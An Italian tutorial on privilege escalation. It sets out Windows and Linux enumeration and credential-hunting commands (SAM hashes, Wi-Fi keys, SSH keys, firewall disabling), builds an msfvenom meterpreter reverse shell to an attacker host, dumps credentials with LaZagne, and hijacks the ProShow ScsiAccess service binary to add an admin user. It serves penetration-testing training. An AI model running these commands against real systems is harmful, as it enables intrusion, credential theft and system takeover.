Better reign in Hell than serve in heaven
Questo articolo si ispira al sesto capitolo di “The Fallen Dreams”, il cui titolo risulta particolarmente curioso, poiché tratto dal poema “Il paradiso perduto” di John Milton. La frase che dà origine al titolo: “Better to Reign in Hell, Than Serve in Heav’n” (“Meglio regnare in inferno che servire in paradiso”) incarna lo stato d’animo del diavolo ricacciato all’inferno che, nonostante la sua nuova dimora inospitale, l’olezzo del nuovo ambiente, la grande rabbia che sovrasta tutto e tutti, preferisce comunque questa condizione alla vita in paradiso. La sua ribellione non è un semplice atto di vanità, ma un tentativo di affermazione. Ironicamente, non fa altro che compiere il volere divino, non con stragi o massacri, bensì cedendo tutti i suoi privilegi in cambio di una forma di “libertà”.
Alla fine, il vero inferno è soggettivo.
- Privilege Escalation
- I. Ricognizione
- II. Analisi
- III. Caccia
- IV. Test
Privilege Escalation
Il Privilege Escalation è una vera e propria scalata verso un più alto livello di autorizzazioni, all’interno di un dato sistema informatico.
Solitamente, il livello di autorizzazioni ottenuto nella prima fase di accesso al target, non permette di disporre di tutti i dati del sistema. L’attaccante tenterà quindi di sfruttare informazioni sensibili mal custodite, bug, vulnerabilità, servizi mal configurati, errori nella progettazione del Sistema Operativo o del Software stesso, al fine di acquisire il controllo delle risorse e delle informazioni a lui precluse.
Per risalire la china delle autorizzazioni, l’attaccante può intraprendere:
- Una scalata verticale, dove un’utenza con bassi privilegi accede a funzioni o informazioni riservate ad utenze con privilegi più alti.
- Una scalata orizzontale, dove l’utenza accede a funzioni o informazioni riservate ad altri utenti, aventi i medesimi livelli di autorizzazioni.
Il Privilege Escalation potrebbe essere suddiviso nelle seguenti fasi:
- Ricognizione: ricerca, categorizzazione ed enumerazione di tutte le informazioni che riusciamo ad ottenere sul sistema.
- Analisi: vaslutazione di tutto ciò che siamo riusciti a trovare nella fase precedente, al fine d’identificare il bug o la falla che potremmo sfruttare.
- Caccia: sfruttamento di eventuali falle o vulnerabilità precedentemente identificate, attraverso un exploitation code, ed adattamento del codice preesistente al sistema attuale.
- Test: fase in cui viene messo in pratica e verificato ciò che abbiamo appreso dai precedenti step. Se l’esito è negativo, ripartiamo con l’analisi di tutte le nostre informazioni.
I. Ricognizione
L’obiettivo della fase di ricognizione consiste nel raccogliere quante più informazioni possibili sul sistema. Vediamo come ottenerle per i sistemi operativi Windows e Linux.
Nelle Tabelle di seguito, potrete trovare alcuni comandi utili. Tuttavia, allo stesso tempo, vi esorto a cercarne altri e a testare le varie opzioni possibili.
OS WINDOWS
Comando | Obiettivo |
Info sul Sistema Operativo | |
systeminfo | findstr /B /C:”OS Name” /C:”OS Version” | OS Name e OS Version |
wmic qfe | Patch e Aggiornamenti |
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% | Architettura (32/64bit) |
set | Variabili d’ambiente |
User Enumeration | |
echo %USERNAME% || whoami | User Corrente |
whoami /priv | Lista dei privilegi |
net user | Lista di tutti gli utenti |
net accounts | Requisiti e policy per BruteForce |
net user administrator | Tutti i dettagli del dato account |
net localgroup administrators | Tutti i dettagli del dato gruppo |
Network Enumeration | |
ipconfig /all | Lista delle Interfacce Network, IP e DNS |
route print | Route Table |
arp -A | Tabella ARP |
netstat -ano | Tutte le connessioni sulla macchina |
netsh firewall show state | Stato del Firewall |
netsh firewall show config | Mostra la configurazione del Firewall |
netsh firewall set opmode disable | Disabilita il Firewall |
netsh advfirewall set allprofiles state off | Disabilita il Firewall |
net share | Visualizza tutte le shares |
A caccia delle passwords! | |
cd C: & findstr /SI /M “password” *.xml *.ini *.txt | Cerchiamo nei file la parola “password” |
findstr /si password *.xml *.ini *.txt *.config | Cerchiamo nei file la parola “password” |
findstr /spin “password” *.* | Cerchiamo nei file la parola “password” |
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* | Cerchiamo i file con un determinato nome |
where /R C: user.txt | Cerchiamo i file con un determinato nome |
where /R C: *.ini | Cerchiamo i file con un determinato nome |
REG QUERY HKLM /F “password” /t REG_SZ /S /K | Cerchiamo nei registri “password” |
REG QUERY HKCU /F “password” /t REG_SZ /S /K | Cerchiamo nei registri “password” |
netsh wlan show profile | Profili (SSID) WiFi |
netsh wlan show profile key=clear | Leggiamo la password del relativo SSID |
Security Account Manager (SAM). E’ il DB dove vengono conservate, in formato hash le varie password. | |
%SYSTEMROOT%repairSAM | File Location |
%SYSTEMROOT%System32configRegBackSAM | File Location |
%SYSTEMROOT%System32configSAM | File Location |
%SYSTEMROOT%repairsystem | File Location |
%SYSTEMROOT%System32configSYSTEM | File Location |
%SYSTEMROOT%System32configRegBacksystem | File Location |
Come generare un hash file per Jhon The Ripper, utilizzando pwddump o samdump | |
pwdump SYSTEM SAM > /root/sam.txt | Generazione del formato hash necessario |
samdump2 SYSTEM SAM -o sam.txt | Generazione del formato hash necessario |
Per effettuare un Privilege Escalation sui sistemi Windows, potremmo ricorrere a diverse tecniche:
– Credenziali Memorizzate sulla macchina: nomi utente e password salvate in chiaro sulla macchina.
– Windows Kernel Exploitation: il sistema potrebbe non essere aggiornato ed essere esposto a diverse vulnerabilità.
– DLL Hijacking: è l’esecuzione del codice malevolo all’interno di altri processi e programmi.
– Unquoted Service Paths: quando viene creato un servizio il cui percorso eseguibile contiene spazi e non è racchiuso tra virgolette si verifica una vulnerabilità nota come “Unquoted Service Paths”, che consente ad un utente di utilizzare tecniche di Privilege Escalation.
– Weak Folder Permissions: cartelle del sistema con privilegi mal configurati.
– Weak Service Permissions: servizi con privilegi mal configurati ed accessibili a tutti gli utenti del sistema.
– Weak Registry Permission: un malintenzionato potrebbe, ad esempio, eseguire il proprio codice malevolo manipolando un dato registro che presenta diverse debolezze a livello di permessi.
OS LINUX
Con il sistema operativo Linux la situazione è un po’ diversa, poiché diverse interrogazioni richiedono privilegi elevati. Vediamo di seguito qualche comando utile al nostro scopo:
Comando | Obiettivo |
Info sul Sistema Operativo | |
cat /proc/version | Versione del Kernel |
uname -a | Dettagli come SO, Versione, Archittettura |
(env || set) 2>/dev/null | Informazioni sull’Enviroment |
cat /etc/*-release | Distro e Versione |
Enumeration di Servizi e Applicazioni | |
ps aux | Servizi in running e user-context |
ps -af | Versione dei servizi |
ls -alh /usr/bin/ | Applicazioni Installate |
pkginfo | Solaris: Applicazioni Installate |
pacman -Q | Arch Linux: Applicazioni Installate |
ls -aRl /etc/ | File letti/scritti nella cartella /etc/ |
ls -alh /var/ | Contenuto in /var/ |
Configurazioni di rete | |
netstat | Visualizza le connessioni |
/sbin/ifconfig -a | Lista delle Interfacce Network |
Enumeration del File System | |
echo $PATH | visualizza contenuto variabile PATH |
mount | lista dei FS montati |
A caccia delle passwords! | |
grep –color=auto -rnw ‘/’ -ie “PASSWORD” –color=always 2> /dev/null | File contenti “password” |
find . -type f -exec grep -i -I “PASSWORD” {} /dev/null ; | File contenti “password” |
/etc/security/opasswd | Old password cronologia |
strings /dev/mem -n10 | grep -i PASS | Password in memoria |
locate password | more | File Sensibili |
/boot/grub/i386-pc/password.mod | File Sensibili |
/etc/pam.d/common-password | File Sensibili |
/etc/pam.d/gdm-password | File Sensibili |
/etc/pam.d/gdm-password.original | File Sensibili |
/lib/live/config/0031-root-password | File Sensibili |
cat /etc/apache2/apache2.conf | Miss Configurazioni / Password |
cat /etc/httpd/conf/httpd.conf | Miss Configurazioni / Password |
cat /opt/lampp/etc/httpd.conf | Miss Configurazioni / Password |
cat /etc/php5/apache2/php.ini | Miss Configurazioni / Password |
find / -mmin -10 2>/dev/null | grep -Ev “^/proc” | File modificati negli ultimi 10 minuti |
SSH Key | |
find / -name authorized_keys 2> /dev/null | Sensitive SSH Key |
find / -name id_rsa 2> /dev/null | Sensitive SSH Key |
Potremmo anche scegliere di avvalerci di programmi che eseguono in maniera automatica operazioni di ricognizione/enumeration, come:
- Windows: PowerUp, WindowsPrivCheck, BeRoot, laZagne.
- Linux: LinEnum, Linux-Local-Enumeration-script, linuxprivchecker.
Noi ne utilizzeremo uno per Windows, chiamato laZagne.
Per prima cosa, scarichiamo il tool che utilizzeremo lazagne.exe al seguente link:
https://github.com/AlessandroZ/LaZagne/releases/
wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe
Infettiamo la nostra macchina Windows 10 64 bit, in maniera molto semplice:
TARGET: 192.168.1.23 – Windows 10x64bit
ATTACCANTE: 192.168.1.22 – Kali Linux
1- Generiamo il nostro file malevolo .exe utilizzando msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.22 -f exe > /var/www/html/mal.exe
2- Avviamo il servizio apache2: service apache2 start
3- Lanciamo la Msfconsole tramite il comando: msfconsole
4- Avviamo il listener:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit
5- Portiamoci sulla macchina vittima e scarichiamo il file malevolo che abbiamo creato al punto 1:
Poi, clicchiamo ed avviamolo.
6- Torniamo sulla nostra macchina attaccante, su cui avremo ottenuto la Reverse Shell:
A questo punto, comincia la fase di Privilege Escalation.
7- Facciamo l’upload del file lazagne.exe all’interno della nostra macchina vittima:
upload lazagne.exe
8- Utilizziamo il comando shell:
shell
9- Avviamo il nostro file .exe appena caricato con l’opzione –h per visualizzare le varie possibilità:
lazagne.exe -h
10- Non ci rimane che avviare il tool scegliendo fra le opzioni che abbiamo visualizzato. Nel mio caso, lo avvierò con tutte le opzioni, specificando maggiori dettagli nell’output.
lazagne.exe all -v
II. Analisi
Analizziamo adesso tutto ciò che siamo riusciti a trovare in questa prima fase di ricognizione.
Se siamo stati fortunati, potremmo aver trovato direttamente alcune password memorizzate in locale o alcuni hash da craccare.
Potremmo anche aver trovato un servizio vulnerabile, appartenente a qualche programma preinstallato dall’Amministratore di Sistema: ad esempio, la versione del programma “ProShow v9.0.3797”, scaricabile da internet con la banale chiave di ricerca “Download ProShow”.
Utilizzando il comando wmic, diamo un’occhiata ai servizi presenti sulla macchina e al loro stato:
wmic service list brief.
Il programma installa all’interno del local SYSTEM account il seguente servizio ScsiAccess, che richiede il reboot della macchina al termine dell’installazione.
Il file ScsiAccess.exe, a cui punta il servizio, si trova nella cartella:
C:Program Files (x86)PhotodexProShow Producer
Ma ora, analizziamo più da vicino i permessi dell’eseguibile, navigando sino alla cartella.
[DOMINIO] [UTENTE o GRUPPO]: (Autorizzazioni)
- I: Autorizzazione ereditata dal “contenitore padre”.
- F: indica accesso completo.
- RX: accesso in lettura ed esecuzione.
- CI: ereditato dai “sotto-contenitori” collocati in questo “contenitore”.
Il file ha permessi Everyone, cioè tutti gli utenti hanno accesso completo (F).
III. Caccia
Ciò che faremo adesso, è sfruttare il servizio mal configurato per eseguire un Privilege Escalation ed aggiungere il nostro utente al gruppo degli amministratori. Per fare questo, avremo bisogno di qualche riga di codice in C.
Torniamo sulla nostra macchina attaccante ed una volta aperto il terminale utilizziamo vim per scrivere il nostro codice:
vim aggutente.c
Scriviamo il seguente codice, passando alla modalità insert (schiacciando i).
La riga numero 5 è sostanzialmente il nostro programma: net localgroup administrators buffer /add .
Aggiungiamo l’account utente di nome “buffer” al gruppo degli amministratori locali della macchina.
Salviamo ed usciamo, premendo ESC e digitando: wq .
A questo punto, compiliamo il nostro programma utilizzando mingw32-gcc (64bit):
x86_64-w64-mingw32-gcc aggutente.c -o scsiaccess.exe #64bit
i686-w64-mingw32-gcc aggutente.c -o scsiaccess.exe #32bit
- x86_64-w64-mingw32-gcc : è il nostro compilatore – 64bit
- c : è il nome del programma in C da compilare
- -o : opzione di specifica del file di output
- exe : è il nome del nostro programma C compilato, in formato eseguibile
Nota: se mingw non fosse presente, potremo installarlo utilizzando il comando seguente
sudo apt-get install mingw-w64
IV. Test
Adesso, ciò che faremo sarà sostituire il vero file sciaccess.exe con il nostro omonimo programma C (compilato) e riavviare il servizio.
Rechiamoci nella cartella in cui è contenuto il file originale:
C:Program Files (x86)PhotodexProShow Producer
Rinominiamo il file scsiaccess.exe_originale e copiamo all’interno della cartella il nostro programma in C, che ha il medesimo nome del file.
Riavviamo il sistema oppure facciamo ripartire il servizio utilizzando il comando:
net stop [nome del servizio] && net start [nome del servizio]
A questo punto, analizziamo ciò che succederà al prossimo riavvio: il servizio del programma tenterà di eseguire il file scsiaccess.exe (originale), ma questa volta eseguirà il nostro programma in C, lanciando il comando per aggiungerci nel gruppo degli amministratori e farci diventare a tutti gli effetti admin della macchina.